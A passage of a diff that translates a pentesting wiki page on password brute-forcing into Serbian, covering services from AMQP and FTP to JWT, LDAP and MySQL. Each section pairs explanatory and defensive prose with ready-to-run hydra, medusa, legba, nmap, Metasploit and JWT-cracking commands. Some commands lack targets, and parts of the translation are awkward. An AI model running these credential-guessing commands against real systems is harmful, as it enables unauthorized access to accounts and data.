snažnih lozinki i podešavanje sigurnosnih parametara na serveru. Takođe, redovno ažurirajte Apache Tomcat server kako biste ispravili poznate ranjivosti. ```bash nmap --script ajp-brute -p 8009 ``` +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM i Solace) -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) +AMQP (Advanced Message Queuing Protocol) je otvoreni standard za komunikaciju između aplikacija koje koriste poruke. Postoji nekoliko popularnih implementacija AMQP-a, uključujući ActiveMQ, RabbitMQ, Qpid, JORAM i Solace. +### Brute Force napad na AMQP + +Brute Force napad na AMQP se može koristiti za pokušaj otkrivanja lozinki za pristup AMQP serverima. Ovaj napad se zasniva na isprobavanju različitih kombinacija korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija. + +Da biste izvršili Brute Force napad na AMQP, možete koristiti alate kao što su Hydra ili Medusa. Ovi alati omogućavaju automatizovano isprobavanje različitih kombinacija korisničkih imena i lozinki na AMQP serveru. + +Prilikom izvođenja Brute Force napada na AMQP, važno je uzeti u obzir nekoliko faktora kako biste povećali šanse za uspeh: + +- Koristite rečnike sa širokim spektrom lozinki kako biste pokrili što više mogućih kombinacija. +- Podesite parametre Brute Force alata kako biste ograničili broj pokušaja po vremenskom periodu i izbegli blokiranje od strane AMQP servera. +- Pratite logove i analizirajte rezultate kako biste identifikovali uspešne kombinacije korisničkih imena i lozinki. + +Važno je napomenuti da je Brute Force napad nelegalan i može imati ozbiljne pravne posledice. Uvek se pridržavajte zakona i koristite ove tehnike samo u okviru zakonskih granica, kao deo etičkog hakovanja ili pentestiranja. ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - ### Cassandra +Cassandra je distribuirana baza podataka koja se koristi za upravljanje velikim količinama podataka na više čvorova. Ova baza podataka koristi model ključ-vrednost i omogućava horizontalno skaliranje, visoku dostupnost i otpornost na kvarove. + +#### Brute Force napadi na Cassandra + +Brute Force napadi na Cassandra se mogu koristiti za pokušaj otkrivanja lozinki ili ključeva pristupa. Ovi napadi se obično izvode pomoću automatizovanih alata koji pokušavaju sve moguće kombinacije lozinki ili ključeva sve dok ne pronađu ispravnu vrednost. + +Da bi se sprečili Brute Force napadi na Cassandra, preporučuje se primena sledećih mera: + +- Postavljanje snažnih lozinki koje se teško mogu pogoditi. +- Implementacija mehanizma zaključavanja naloga nakon određenog broja neuspelih pokušaja prijavljivanja. +- Korišćenje dvofaktornog ili višefaktornog autentifikacije za dodatni sloj sigurnosti. +- Praćenje i analiza logova kako bi se otkrili sumnjivi pokušaji prijavljivanja. + +Ukoliko se otkrije Brute Force napad na Cassandra, preporučuje se preduzimanje sledećih koraka: + +- Blokiranje IP adrese sa koje dolazi napad. +- Promena lozinke ili ključa pristupa koji je bio kompromitovan. +- Ažuriranje sistema i primena zakrpa kako bi se otklonile ranjivosti koje su iskorišćene u napadu. +- Analiza logova kako bi se identifikovali eventualni drugi napadi ili kompromitovani nalozi. + +Važno je napomenuti da je Brute Force napad ilegalan i da se izvođenje ovakvih napada može kažnjavati zakonom. Ove informacije su namenjene isključivo u svrhu edukacije i zaštite sistema od potencijalnih napada. ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB +CouchDB je otvorena baza podataka koja koristi JSON format za čuvanje podataka. Ova baza podataka podržava replikaciju i raspodelu podataka na više čvorova. + +#### Brute Force napadi na CouchDB + +Brute Force napadi na CouchDB se mogu izvesti na više načina. Evo nekoliko metoda koje se mogu koristiti: + +1. **Napad na korisnička imena i lozinke**: Ovaj napad se zasniva na pokušaju svih mogućih kombinacija korisničkih imena i lozinki kako bi se pronašla ispravna kombinacija koja omogućava pristup CouchDB bazi podataka. + +2. **Napad na sesije**: Ovaj napad se fokusira na krađu ili preuzimanje sesijskih tokena kako bi se omogućio neovlašćeni pristup CouchDB bazi podataka. + +3. **Napad na API ključeve**: Ako CouchDB koristi API ključeve za autentifikaciju, napadač može pokušati da brute force-uje ove ključeve kako bi dobio pristup bazi podataka. + +#### Prevencija brute force napada na CouchDB + +Da biste sprečili brute force napade na CouchDB, možete preduzeti sledeće mere: + +1. **Snažne lozinke**: Koristite snažne lozinke koje kombinuju različite vrste karaktera (velika slova, mala slova, brojeve, specijalne znakove) i imaju dovoljnu dužinu. + +2. **Blokiranje IP adresa**: Ako primetite sumnjive aktivnosti ili pokušaje brute force napada, možete blokirati IP adrese sa kojih dolaze ovi napadi. + +3. **Dvosmerna autentifikacija**: Omogućite dvosmernu autentifikaciju kako biste dodatno zaštitili pristup CouchDB bazi podataka. + +4. **Redovno ažuriranje**: Redovno ažurirajte CouchDB na najnoviju verziju kako biste iskoristili sigurnosne zakrpe i poboljšanja. + +5. **Pratite logove**: Pratite logove kako biste identifikovali sumnjive aktivnosti i pokušaje brute force napada. + +#### Zaključak + +Brute force napadi na CouchDB mogu predstavljati ozbiljnu pretnju za sigurnost podataka. Implementacija sigurnosnih mera kao što su snažne lozinke, blokiranje IP adresa i dvosmerna autentifikacija može pomoći u zaštiti CouchDB baze podataka od ovih napada. Redovno ažuriranje i praćenje logova takođe su važni koraci u održavanju sigurnosti CouchDB sistema. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` +### Docker registar -### Docker Registry +Docker registar je servis koji omogućava skladištenje i distribuciju Docker slika. Registar čuva Docker slike na centralizovan način, omogućavajući korisnicima da lako pristupe i preuzmu slike koje su im potrebne. +#### Brute force napadi na Docker registar + +Brute force napadi na Docker registar su tehnike koje se koriste za pokušaj otkrivanja lozinki ili pristupa Docker registru. Ovi napadi se obično izvode pomoću automatizovanih alata koji pokušavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravne kredencijale. + +Da bi se zaštitio Docker registar od brute force napada, preporučuje se primena sledećih mera: + +- Korišćenje snažnih lozinki koje se sastoje od kombinacije slova, brojeva i specijalnih karaktera. +- Implementacija mehanizma zaštite od brute force napada, kao što je blokiranje IP adresa nakon određenog broja neuspelih pokušaja prijavljivanja. +- Redovno ažuriranje Docker registra kako bi se ispravile poznate ranjivosti i propusti u bezbednosti. +- Praćenje logova i detekcija sumnjivih aktivnosti koje mogu ukazivati na brute force napade. + +Uz pravilne mere bezbednosti, Docker registar može biti siguran i pouzdan način za skladištenje i distribuciju Docker slika. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch +Elasticsearch je distribuirani sistem za pretragu i analizu podataka. Koristi se za brzo i efikasno pretraživanje, analizu i vizualizaciju velikih skupova podataka. Elasticsearch koristi JSON format za komunikaciju sa serverom i omogućava napredne funkcionalnosti kao što su pretraga punog teksta, agregacija podataka i geolokacija. + +#### Brute Force napadi na Elasticsearch + +Brute Force napadi na Elasticsearch su tehnike koje se koriste za pokušaj otkrivanja lozinki ili autentifikacionih tokena putem isprobavanja svih mogućih kombinacija. Ovi napadi se obično izvode korišćenjem alata za automatizaciju kao što su Hydra ili Medusa. + +Da biste izvršili Brute Force napad na Elasticsearch, prvo morate identifikovati endpoint za autentifikaciju. Zatim možete koristiti alat za Brute Force napad da biste isprobali različite kombinacije korisničkih imena i lozinki ili autentifikacionih tokena. Ovaj proces može biti vremenski zahtevan, ali može biti uspešan ako su lozinke slabe ili autentifikacioni tokeni predvidljivi. + +Da biste se zaštitili od Brute Force napada na Elasticsearch, preporučuje se korišćenje snažnih lozinki ili autentifikacionih tokena, kao i implementacija mehanizama zaštite kao što su ograničenje broja pokušaja prijavljivanja i praćenje neuspešnih pokušaja prijavljivanja. + +#### Prevencija Brute Force napada na Elasticsearch + +Da biste sprečili Brute Force napade na Elasticsearch, možete preduzeti sledeće mere: + +- Koristite snažne lozinke ili autentifikacione tokene koji se teško mogu pogoditi. +- Implementirajte mehanizme zaštite kao što su ograničenje broja pokušaja prijavljivanja i praćenje neuspešnih pokušaja prijavljivanja. +- Konfigurišite Elasticsearch tako da blokira IP adrese koje su izvršile previše neuspešnih pokušaja prijavljivanja. +- Redovno ažurirajte Elasticsearch i sve njegove zavisnosti kako biste ispravili poznate sigurnosne propuste. + +#### Zaključak + +Brute Force napadi na Elasticsearch mogu biti efikasni ako su lozinke slabe ili autentifikacioni tokeni predvidljivi. Korišćenje snažnih lozinki ili autentifikacionih tokena, kao i implementacija mehanizama zaštite, može pomoći u sprečavanju ovih napada. Redovno ažuriranje Elasticsearch i praćenje sigurnosnih propusta takođe su važni koraci u održavanju sigurnosti sistema. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP +FTP (File Transfer Protocol) je standardni protokol za prenos datoteka preko mreže. Često se koristi za prenos datoteka sa lokalnog računara na udaljeni server ili obrnuto. + +#### Brute Force napad na FTP + +Brute Force napad na FTP je tehnika koja se koristi za pokušaj otkrivanja korisničkih imena i lozinki za pristup FTP serveru. Ova tehnika se zasniva na pokušaju svih mogućih kombinacija korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija. + +Da biste izvršili Brute Force napad na FTP, možete koristiti alate kao što su Hydra, Medusa ili Patator. Ovi alati automatski pokušavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravnu kombinaciju. + +Važno je napomenuti da je Brute Force napad na FTP obično vrlo spor i može potrajati dosta vremena, posebno ako je lozinka složena. Takođe, ovaj napad može biti detektovan od strane sistema zaštite, pa je važno biti oprezan prilikom izvođenja ovog napada. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - -### HTTP Generic Brute +### HTTP Generički Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTP Osnovna Autentifikacija ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM +NTLM (Windows NT LAN Manager) je autentifikacioni protokol koji se često koristi u HTTP komunikaciji. Ovaj protokol se koristi za autentifikaciju korisnika na Windows sistemima. + +#### Brute force napad na NTLM autentifikaciju + +Brute force napad na NTLM autentifikaciju je tehnika koja se koristi za pokušaj otkrivanja lozinke korisnika putem isprobavanja svih mogućih kombinacija lozinki. Ovaj napad se može izvesti korišćenjem alata kao što su Hydra, Medusa ili John the Ripper. + +Da bi se izveo brute force napad na NTLM autentifikaciju, potrebno je imati pristup HTTP zahtevima koji sadrže NTLM autentifikacione podatke. Ovi zahtevi se mogu snimiti korišćenjem alata kao što su Wireshark ili Burp Suite. + +Nakon što se dobiju NTLM autentifikacioni podaci, može se pokrenuti brute force napad koristeći rečnik sa potencijalnim lozinkama. Ovaj rečnik može sadržati različite kombinacije reči, brojeva i simbola. + +Važno je napomenuti da brute force napad može biti vremenski zahtevan proces, posebno ako je lozinka kompleksna i dugačka. Takođe, postoji rizik od blokiranja naloga nakon određenog broja neuspelih pokušaja autentifikacije. + +#### Mere zaštite od brute force napada + +Da bi se zaštitili od brute force napada na NTLM autentifikaciju, preporučuje se primena sledećih mera: + +- Korišćenje snažnih lozinki koje kombinuju različite karakteristike (velika i mala slova, brojevi, simboli). +- Implementacija mehanizma zaključavanja naloga nakon određenog broja neuspelih pokušaja autentifikacije. +- Korišćenje dvofaktorne autentifikacije za dodatni sloj sigurnosti. +- Redovno ažuriranje softvera i operativnog sistema kako bi se ispravile poznate ranjivosti. +- Praćenje logova autentifikacije radi otkrivanja sumnjivih aktivnosti. + +Implementacija ovih mera može značajno smanjiti rizik od uspešnog brute force napada na NTLM autentifikaciju. ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - ### HTTP - Post Form +### HTTP - Slanje forme + +When dealing with web applications, it is common to encounter login forms or other types of forms that require user input. In some cases, it may be necessary to automate the process of submitting these forms with different combinations of input values in order to test for vulnerabilities or guess valid credentials. This process is known as brute-forcing. + +Kada se bavite veb aplikacijama, često ćete naići na obrasce za prijavljivanje ili druge vrste formi koje zahtevaju unos korisničkih podataka. U nekim slučajevima, može biti potrebno automatizovati proces slanja ovih formi sa različitim kombinacijama vrednosti unosa kako biste testirali ranjivosti ili pogađali ispravne podatke za prijavu. Ovaj proces se naziva brute-forcing. + +To perform a brute-force attack on a web form, you need to send HTTP POST requests with different input values for the form fields. The easiest way to do this is by using a tool like cURL or a programming language with HTTP libraries, such as Python with the requests library. + +Da biste izvršili brute-force napad na veb formu, morate slati HTTP POST zahteve sa različitim vrednostima unosa za polja forme. Najlakši način za to je korišćenje alata poput cURL-a ili programskog jezika sa HTTP bibliotekama, kao što je Python sa bibliotekom requests. + +Here is an example of how to perform a brute-force attack on a login form using cURL: + +Evo primera kako izvršiti brute-force napad na formu za prijavljivanje koristeći cURL: + +```bash +curl -X POST -d "username=admin&password=123456" http://example.com/login +``` + +In this example, we are sending a POST request to the URL `http://example.com/login` with the parameters `username=admin` and `password=123456`. You would need to replace `http://example.com/login` with the actual URL of the login form you are targeting, and modify the parameter values accordingly. + +U ovom primeru, šaljemo POST zahtev na URL `http://example.com/login` sa parametrima `username=admin` i `password=123456`. Morate zameniti `http://example.com/login` sa stvarnim URL-om forme za prijavljivanje na koju ciljate i prilagoditi vrednosti parametara prema potrebi. + +It is important to note that brute-forcing is a time-consuming process and may be illegal or against the terms of service of the target website. Always ensure that you have proper authorization and permission before attempting any brute-force attacks. + +Važno je napomenuti da je brute-forcing proces koji oduzima vreme i može biti ilegalan ili protiv uslova korišćenja ciljanog veb sajta. Uvek se uverite da imate odgovarajuću autorizaciju i dozvolu pre nego što pokušate bilo kakve brute-force napade. ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +Za http**s** morate promeniti "http-post-form" u "**https-post-form**" -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP +IMAP (Internet Message Access Protocol) je protokol za pristup i upravljanje elektronskom poštom na serveru. Koristi se za čitanje, slanje i brisanje poruka sa servera. IMAP omogućava korisnicima da pristupe svojoj pošti sa različitih uređaja i da sinhronizuju promene između njih. Ovaj protokol se često koristi za pristupanje pošte putem e-pošte klijenata kao što su Microsoft Outlook, Mozilla Thunderbird i Apple Mail. + +#### Brute Force napadi na IMAP + +Brute Force napadi na IMAP su tehnike kojima se pokušava otkriti lozinka za pristup IMAP nalogu. Ovi napadi se obično izvode pomoću automatizovanih alata koji isprobavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravnu kombinaciju. Napadači mogu koristiti različite metode za izvođenje Brute Force napada na IMAP, kao što su rječnik napadi, napadi sa generisanjem kombinacija i napadi sa snimanjem i reprodukcijom sesija. + +Da bi se zaštitili od Brute Force napada na IMAP, preporučuje se korišćenje snažnih lozinki koje se sastoje od kombinacije slova, brojeva i posebnih znakova. Takođe je važno koristiti mehanizme zaštite kao što su dvofaktorska autentifikacija i ograničenje broja neuspelih pokušaja prijavljivanja. Administratori sistema takođe mogu koristiti alate za detekciju Brute Force napada i blokirati IP adrese napadača. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC +IRC (Internet Relay Chat) je protokol za trenutnu komunikaciju putem interneta. Koristi se za razmenu poruka u realnom vremenu između korisnika koji su povezani na IRC servere. + +#### Brute Force napadi na IRC + +Brute Force napadi na IRC su tehnike koje se koriste za pokušaj otkrivanja lozinki korisnika putem isprobavanja različitih kombinacija lozinki. Ovi napadi se obično izvode pomoću automatizovanih alata koji automatski generišu i testiraju veliki broj mogućih lozinki. + +#### Metode Brute Force napada na IRC + +1. **Dictionary Attack**: Ova metoda koristi rečnike sa velikim brojem poznatih lozinki kako bi se pokušalo otkriti pravilnu lozinku korisnika. Alat za Brute Force će automatski isprobati svaku lozinku iz rečnika dok ne pronađe odgovarajuću lozinku. + +2. **Brute Force Attack**: Ova metoda koristi algoritam za generisanje svih mogućih kombinacija lozinki kako bi se pokušalo otkriti pravilna lozinka korisnika. Alat za Brute Force će automatski generisati i testirati sve moguće kombinacije lozinki dok ne pronađe odgovarajuću lozinku. + +#### Prevencija Brute Force napada na IRC + +Da biste se zaštitili od Brute Force napada na IRC, možete preduzeti sledeće mere: + +1. **Snažne lozinke**: Koristite snažne lozinke koje kombinuju velika i mala slova, brojeve i posebne znakove. Izaberite lozinke koje su teške za pogoditi. + +2. **Dvosmerna autentifikacija**: Omogućite dvosmernu autentifikaciju koja zahteva dodatni korak verifikacije prilikom prijavljivanja na IRC server. + +3. **Zaključavanje naloga**: Nakon određenog broja neuspelih pokušaja prijavljivanja, zaključajte nalog na određeno vreme kako biste sprečili dalje Brute Force napade. + +4. **Nadgledanje logova**: Redovno nadgledajte logove IRC servera kako biste otkrili sumnjive aktivnosti i preduzeli odgovarajuće mere. + +5. **Ažuriranje softvera**: Redovno ažurirajte IRC server softver kako biste ispravili poznate sigurnosne propuste i smanjili rizik od Brute Force napada. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI +ISCSI (Internet Small Computer System Interface) je standardni protokol za prenos blok podataka preko IP mreže. Ovaj protokol omogućava udaljeni pristup i upravljanje skladišnim uređajima kao što su diskovi, trake i optički mediji. ISCSI se često koristi za povezivanje servera sa udaljenim skladištem podataka. + +#### Brute Force napadi na ISCSI + +Brute Force napadi na ISCSI su tehnike koje se koriste za pokušaj otkrivanja lozinki ili autentifikacionih ključeva za pristup ISCSI skladištima. Ovi napadi se obično izvode pomoću automatizovanih alata koji sistematski isprobavaju različite kombinacije lozinki sve dok ne pronađu ispravnu. + +Da bi se izvršio Brute Force napad na ISCSI, napadač mora imati pristup ISCSI cilju i koristiti alat koji podržava ovu vrstu napada. Napadač može koristiti različite metode za generisanje i isprobavanje lozinki, kao što su rečnici lozinki, kombinacije karaktera ili algoritmi za generisanje lozinki. + +Da bi se zaštitili od Brute Force napada na ISCSI, preporučuje se korišćenje snažnih lozinki koje su teško pogoditi. Takođe je važno implementirati mehanizme zaštite kao što su zaključavanje naloga nakon određenog broja neuspelih pokušaja prijavljivanja ili korišćenje dvofaktorne autentifikacije. + +Ukoliko se otkrije Brute Force napad na ISCSI, preporučuje se preduzimanje odgovarajućih mera zaštite, kao što je blokiranje IP adrese napadača ili promena lozinke za pristup ISCSI skladištu. Takođe je važno pratiti logove i upozoravati na sumnjive aktivnosti kako bi se sprečili budući napadi. ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT +JSON Web Token (JWT) je otvoren standard (RFC 7519) koji definiše način za sigurno razmenjivanje podataka između strana u obliku JSON objekata. JWT se često koristi za autentifikaciju i autorizaciju u aplikacijama. + +JWT se sastoji od tri dela: zaglavlja, tvrdnji (claims) i potpisa. Zaglavlje sadrži informacije o algoritmu koji se koristi za potpisivanje tokena. Tvrdnje sadrže informacije o subjektu, vremenskom ograničenju tokena i druge korisnički definisane podatke. Potpis se koristi za verifikaciju autentičnosti tokena. + +Brute force napad na JWT podrazumeva pokušaj da se otkrije tajni ključ koji se koristi za potpisivanje tokena. Ovaj napad se obično izvodi pokušavajući sve moguće kombinacije ključeva dok se ne pronađe odgovarajući ključ koji generiše validan potpis. + +Da bi se sprečio brute force napad na JWT, preporučuje se korišćenje jakih i složenih ključeva, kao i implementacija odgovarajućih mera zaštite, kao što su ograničenje broja pokušaja prijavljivanja, blokiranje IP adresa i korišćenje dvofaktorne autentifikacije. Takođe je važno redovno ažurirati ključeve kako bi se održala sigurnost sistema. ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -261,37 +454,122 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP +LDAP (Lightweight Directory Access Protocol) je protokol za pristupanje i upravljanje direktorijumima. Direktorijumi se koriste za čuvanje organizovanih informacija o korisnicima, grupama, resursima i drugim entitetima u mrežnom okruženju. LDAP se često koristi za autentifikaciju i autorizaciju korisnika u sistemima kao što su Active Directory. + +#### Brute Force napadi na LDAP + +Brute Force napadi na LDAP su tehnike kojima se pokušava otkriti ispravne kombinacije korisničkih imena i lozinki kako bi se neovlašćeno pristupilo LDAP direktorijumu. Ovi napadi se obično izvode pomoću automatizovanih alata koji automatski isprobavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravnu kombinaciju. + +Da bi se izvršio Brute Force napad na LDAP, potrebno je imati listu korisničkih imena i lozinki koje će se isprobavati. Ova lista se može dobiti na različite načine, kao što su preuzimanje sa javno dostupnih baza podataka sa lozinkama ili korišćenje rečnika sa često korišćenim lozinkama. + +Kako bi se sprečili Brute Force napadi na LDAP, preporučuje se primena odgovarajućih sigurnosnih mera kao što su: + +- Korišćenje snažnih lozinki koje se redovno menjaju. +- Implementacija zaključavanja naloga nakon određenog broja neuspelih pokušaja prijavljivanja. +- Korišćenje dvofaktorne autentifikacije. +- Praćenje i analiza logova kako bi se otkrili sumnjivi pokušaji prijavljivanja. + +Važno je napomenuti da je izvršavanje Brute Force napada na LDAP bez dozvole vlasnika sistema ilegalno i može imati ozbiljne pravne posledice. Ove tehnike se trebaju koristiti samo u okviru zakonskih i etičkih granica, kao deo legitimnih testiranja bezbednosti ili autorizovanih aktivnosti. ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT +MQTT (Message Queuing Telemetry Transport) je protokol za komunikaciju koji je dizajniran za efikasno slanje poruka između uređaja u mreži. Ovaj protokol je posebno pogodan za IoT (Internet of Things) aplikacije, gde se često koriste uređaji sa ograničenim resursima. + +MQTT koristi model izdavač-pretplatnik, gde uređaji mogu biti izdavači koji šalju poruke ili pretplatnici koji primaju poruke. Poruke se šalju na teme (topics), koje su hijerarhijski organizovane i omogućavaju selektivno slanje poruka samo određenim pretplatnicima. + +Brute force napad na MQTT protokol se može izvesti pokušavajući sve moguće kombinacije korisničkih imena i lozinki kako bi se pristupilo MQTT brokeru. Ovaj napad može biti uspešan ako su korisnička imena i lozinke slabe ili su podložne lako pogodljivim kombinacijama. + +Da bi se zaštitio MQTT protokol od brute force napada, preporučuje se korišćenje snažnih lozinki, ograničavanje broja neuspelih pokušaja prijavljivanja i implementacija dodatnih sigurnosnih mehanizama kao što su dvofaktorska autentifikacija ili IP ograničenja. ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v -legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt +legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - ### Mongo +Mongo je popularna baza podataka koja se često koristi u web aplikacijama. Kao i kod svake baze podataka, može biti meta napada brute force tehnikom. Brute force napad na Mongo bazu podataka se obično izvodi pomoću alata kao što su Hydra ili Nmap. + +Da biste izvršili brute force napad na Mongo bazu podataka, prvo morate identifikovati IP adresu i port na kojem se baza podataka nalazi. Zatim možete koristiti alat poput Hydra da biste pokušali različite kombinacije korisničkih imena i lozinki sve dok ne pronađete ispravne kredencijale. + +Kada izvršavate brute force napad na Mongo bazu podataka, važno je koristiti listu čestih korisničkih imena i lozinki, kao i kombinacije koje su specifične za aplikaciju koju napadate. Takođe, možete koristiti rečnike sajber kriminalaca koji sadrže veliki broj korisničkih imena i lozinki koje su ranije procurele. + +Da biste se zaštitili od brute force napada na Mongo bazu podataka, preporučuje se da koristite jake lozinke koje se sastoje od kombinacije slova, brojeva i posebnih znakova. Takođe, možete koristiti alate za detekciju brute force napada koji će pratiti neobične aktivnosti i blokirati IP adrese koje pokušavaju da izvrše previše neuspelih pokušaja prijavljivanja. + +Ukratko, brute force napad na Mongo bazu podataka je tehnika koja se koristi za pokušaj pronalaženja ispravnih korisničkih imena i lozinki. Kako biste se zaštitili od ovakvih napada, preporučuje se korišćenje jakih lozinki i alata za detekciju brute force napada. ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL +MSSQL (Microsoft SQL Server) je popularni sistem za upravljanje bazama podataka koji se često koristi u poslovnom okruženju. Kao i kod drugih baza podataka, moguće je izvršiti napad brute force metodom kako bi se pokušalo saznati korisničko ime i lozinku za pristup MSSQL serveru. + +#### Brute force napad na MSSQL + +Brute force napad na MSSQL server se sastoji od pokušaja svih mogućih kombinacija korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija koja omogućava pristup serveru. Ovaj napad može biti vrlo vremenski zahtevan, posebno ako je lozinka kompleksna i dugačka. + +#### Alati za brute force napad na MSSQL + +Postoji nekoliko alata koji se mogu koristiti za izvršavanje brute force napada na MSSQL server. Neki od popularnih alata uključuju: + +- **Hydra**: Hydra je moćan alat za brute force napade koji podržava različite protokole, uključujući i MSSQL. Omogućava konfigurisanje različitih opcija, kao što su lista korisničkih imena i lozinki koje će se koristiti za napad. + +- **Medusa**: Medusa je još jedan alat za brute force napade koji podržava MSSQL protokol. Ovaj alat takođe omogućava konfigurisanje različitih opcija, kao što su lista korisničkih imena i lozinki. + +#### Zaštita od brute force napada na MSSQL + +Da bi se zaštitio MSSQL server od brute force napada, preporučuje se preduzimanje sledećih mera: + +- **Snažne lozinke**: Koristite snažne lozinke koje kombinuju različite karakteristike, kao što su velika i mala slova, brojevi i posebni znakovi. Takođe, redovno menjajte lozinke kako biste otežali napadačima da ih pogode. + +- **Blokiranje IP adresa**: Konfigurišite MSSQL server da automatski blokira IP adrese koje su izvršile određeni broj neuspelih pokušaja prijavljivanja. Ovo će otežati napadačima da nastave sa brute force napadom. + +- **Višestruki faktori autentifikacije**: Omogućite višestruke faktore autentifikacije za pristup MSSQL serveru. Ovo će dodatno otežati napadačima da dobiju pristup čak i ako uspeju da pogode ispravnu kombinaciju korisničkog imena i lozinke. + +#### Zaključak + +Brute force napad na MSSQL server može biti efikasan način za dobijanje neovlašćenog pristupa. Međutim, preduzimanje odgovarajućih mera zaštite može značajno smanjiti rizik od uspešnog napada. ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL +MySQL je popularni open-source sistem za upravljanje bazama podataka koji se često koristi u web aplikacijama. Brute force napad na MySQL bazu podataka podrazumeva pokušaj da se pronađe ispravna kombinacija korisničkog imena i lozinke kako bi se dobio neovlašćen pristup bazi podataka. + +#### Metode Brute Force napada na MySQL + +1. **Dictionary Attack (Rečnik napad)**: Ova metoda uključuje pokušaj svih mogućih kombinacija lozinki iz predefinisanog rečnika. Rečnik može sadržati česte lozinke, reči iz rečnika, kombinacije brojeva i slova, kao i varijacije lozinki koje se često koriste. + +2. **Brute Force Attack (Nasilnički napad)**: Ova metoda uključuje pokušaj svih mogućih kombinacija karaktera za korisničko ime i lozinku. Ova metoda je najsporija, ali je najefikasnija jer ne zavisi od predefinisanog rečnika. + +3. **Hybrid Attack (Hibridni napad)**: Ova metoda kombinuje rečnik napad i nasilnički napad. Prvo se koristi rečnik napad, a zatim se prelazi na nasilnički napad ako rečnik ne uspe da pronađe ispravnu kombinaciju. + +#### Prevencija Brute Force napada na MySQL + +Da biste sprečili Brute Force napade na MySQL bazu podataka, možete preduzeti sledeće mere: + +- **Snažne lozinke**: Koristite snažne lozinke koje kombinuju velika i mala slova, brojeve i posebne znakove. Izaberite lozinke koje su teške za pogoditi i izbegavajte korišćenje uobičajenih reči ili fraza. + +- **Ograničenje broja pokušaja**: Postavite ograničenje broja pokušaja prijavljivanja kako biste sprečili napadače da izvrše veliki broj pokušaja. + +- **Dvosmerna autentifikacija**: Omogućite dvosmernu autentifikaciju kako biste dodatno zaštitili pristup bazi podataka. + +- **Monitorisanje logova**: Redovno pratite logove kako biste otkrili sumnjive aktivnosti i preduzeli odgovarajuće mere. + +- **Ažuriranje softvera**: Redovno ažurirajte MySQL softver kako biste ispravili poznate sigurnosne propuste i ranjivosti. + +- **IP ograničenje**: Ograničite pristup MySQL bazi podataka samo na određene IP adrese kako biste smanjili rizik od neovlašćenog pristupa. + +- **Koristite 